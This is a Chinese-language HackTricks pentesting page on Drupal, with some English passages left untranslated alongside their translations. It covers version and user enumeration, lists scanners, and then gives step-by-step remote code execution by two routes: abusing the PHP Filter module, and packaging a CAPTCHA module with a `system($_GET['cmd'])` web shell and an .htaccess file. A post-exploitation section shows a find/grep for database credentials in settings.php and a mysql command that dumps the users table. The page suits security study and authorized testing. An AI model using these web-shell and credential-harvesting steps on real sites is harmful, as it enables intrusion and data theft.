12 KiB
Drupal
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
发现
- 检查meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- 节点: Drupal使用节点来索引其内容。一个节点可以包含任何内容,比如博客文章、投票、文章等。页面的URI通常采用
/node/<nodeid>
的形式。
curl drupal-site.com/node/1
枚举
Drupal默认支持三种类型的用户:
管理员
:该用户对Drupal网站拥有完全控制权。已认证用户
:这些用户可以登录网站,并根据其权限执行添加和编辑文章等操作。匿名用户
:所有访问网站的用户都被指定为匿名用户。默认情况下,这些用户只能阅读文章。
版本
- 检查
/CHANGELOG.txt
文件
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
新版本的Drupal默认阻止访问CHANGELOG.txt
和README.txt
文件。
{% endhint %}
用户名枚举
注册
在_/user/register_中尝试创建一个用户名,如果该名称已被使用,将会收到通知:
请求新密码
如果您为现有用户名请求新密码:
如果您为不存在的用户名请求新密码:
获取用户数量
访问_/user/<number>,您可以看到现有用户的数量,例如在这种情况下是2,因为/users/3_返回一个未找到错误:
隐藏页面
模糊搜索/node/$
,其中$
是一个数字(例如从1到500)。
您可能会发现未被搜索引擎引用的隐藏页面(测试、开发)。
安装的模块信息
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
自动化
Automatic testing tools can be very useful when it comes to pentesting Drupal websites. These tools can help identify common vulnerabilities and weaknesses in the Drupal installation, saving time and effort for the pentester.
自动化测试工具在渗透测试Drupal网站时非常有用。这些工具可以帮助识别Drupal安装中的常见漏洞和弱点,为渗透测试人员节省时间和精力。
Droopescan
Droopescan is a popular tool for scanning Drupal installations. It can identify the version of Drupal being used and check for known vulnerabilities. Droopescan can also perform password brute-forcing attacks against Drupal user accounts.
Droopescan
Droopescan是一个用于扫描Drupal安装的流行工具。它可以识别正在使用的Drupal版本并检查已知的漏洞。Droopescan还可以对Drupal用户账户进行密码暴力破解攻击。
Drupalgeddon
Drupalgeddon is a tool specifically designed to exploit the Drupalgeddon vulnerability (CVE-2018-7600). This vulnerability allows remote code execution on Drupal versions 7.x and 8.x. The tool automates the exploitation process, making it easier for pentesters to test for this vulnerability.
Drupalgeddon
Drupalgeddon是一个专门设计用于利用Drupalgeddon漏洞(CVE-2018-7600)的工具。该漏洞允许在Drupal 7.x和8.x版本上进行远程代码执行。该工具自动化了利用过程,使渗透测试人员更容易测试此漏洞。
Drupal Security Scanner
Drupal Security Scanner is a Python tool that can scan Drupal websites for security vulnerabilities. It can identify outdated modules, misconfigurations, and other security issues. The tool also provides information about the Drupal version and installed modules.
Drupal安全扫描器
Drupal Security Scanner是一个Python工具,可以扫描Drupal网站的安全漏洞。它可以识别过时的模块、配置错误和其他安全问题。该工具还提供有关Drupal版本和已安装模块的信息。
CMSmap
CMSmap is a versatile tool that can be used to scan various content management systems, including Drupal. It can identify the version of Drupal being used and check for common vulnerabilities. CMSmap can also perform brute-forcing attacks against Drupal user accounts.
CMSmap
CMSmap是一个多功能工具,可用于扫描各种内容管理系统,包括Drupal。它可以识别正在使用的Drupal版本并检查常见漏洞。CMSmap还可以对Drupal用户账户进行暴力破解攻击。
droopescan scan drupal -u http://drupal-site.local
RCE(远程代码执行)
使用PHP过滤器模块
{% hint style="warning" %}
在旧版本的Drupal(8版本之前),可以登录为管理员并启用PHP过滤器
模块,该模块"允许评估嵌入的PHP代码/片段"。
{% endhint %}
您需要安装php插件(访问_/modules/php_并返回403,则已安装;如果未找到,则未安装php插件)。
转到_模块_ -> (检查)PHP过滤器 -> 保存配置
然后点击_添加内容_ -> 选择_基本页面_或_文章_ -> 在_正文_中编写_php shellcode_ -> 在_文本格式_中选择_PHP代码_ -> 选择_预览_
最后只需访问新创建的节点:
curl http://drupal-site.local/node/3
安装 PHP Filter 模块
从版本 8 开始,PHP Filter 模块不再默认安装。要使用此功能,我们需要自己安装模块。
- 从 Drupal 网站下载最新版本的模块。
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- 下载完成后,进入
Administration
>Reports
>Available updates
。 - 点击
Browse
,选择从下载目录中下载的文件,然后点击Install
。 - 安装完成后,我们可以点击
Content
并创建一个新的基本页面,与在 Drupal 7 示例中所做的方式类似。再次确保从Text format
下拉菜单中选择PHP code
。
后门模块
可以通过向现有模块添加一个 shell来创建后门模块。可以在 drupal.org 网站上找到模块。让我们选择一个模块,比如 CAPTCHA。向下滚动并复制 tar.gz archive 的链接。
- 下载存档并提取其内容。
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- 使用以下内容创建一个 PHP网络外壳 :
<?php
// PHP web shell code here
?>
<?php
system($_GET["cmd"]);
?>
- 接下来,我们需要创建一个
.htaccess
文件来让我们访问该文件夹。这是必要的,因为Drupal拒绝直接访问/modules
文件夹。
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- 上述配置将在请求/modules文件夹中的文件时应用规则。将这两个文件都复制到captcha文件夹中并创建一个存档。
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- 假设我们对网站具有管理员访问权限,点击**
管理
,然后在侧边栏上点击扩展
。接下来,点击+ 安装新模块
按钮,我们将被带到安装页面,例如http://drupal-site.local/admin/modules/install
。浏览到带有后门的验证码存档并点击安装
**。 - 安装成功后,浏览到**
/modules/captcha/shell.php
**以执行命令。
后渗透
读取settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
从数据库中导出用户信息
To dump users from a Drupal database, you can use the following steps:
-
Identify the database credentials in the Drupal configuration file (
settings.php
orsettings.local.php
). Look for the variables$databases
or$database
. -
Connect to the database using the obtained credentials. You can use tools like
mysql
orphpMyAdmin
to access the database. -
Once connected, execute the following SQL query to retrieve the user information:
SELECT name, mail FROM users;
This query will fetch the usernames and email addresses of all the users in the Drupal database.
- Export the query results to a file for further analysis or processing. You can use the appropriate command or option provided by the database tool you are using.
By following these steps, you can successfully dump the user information from a Drupal database.
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
参考资料
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。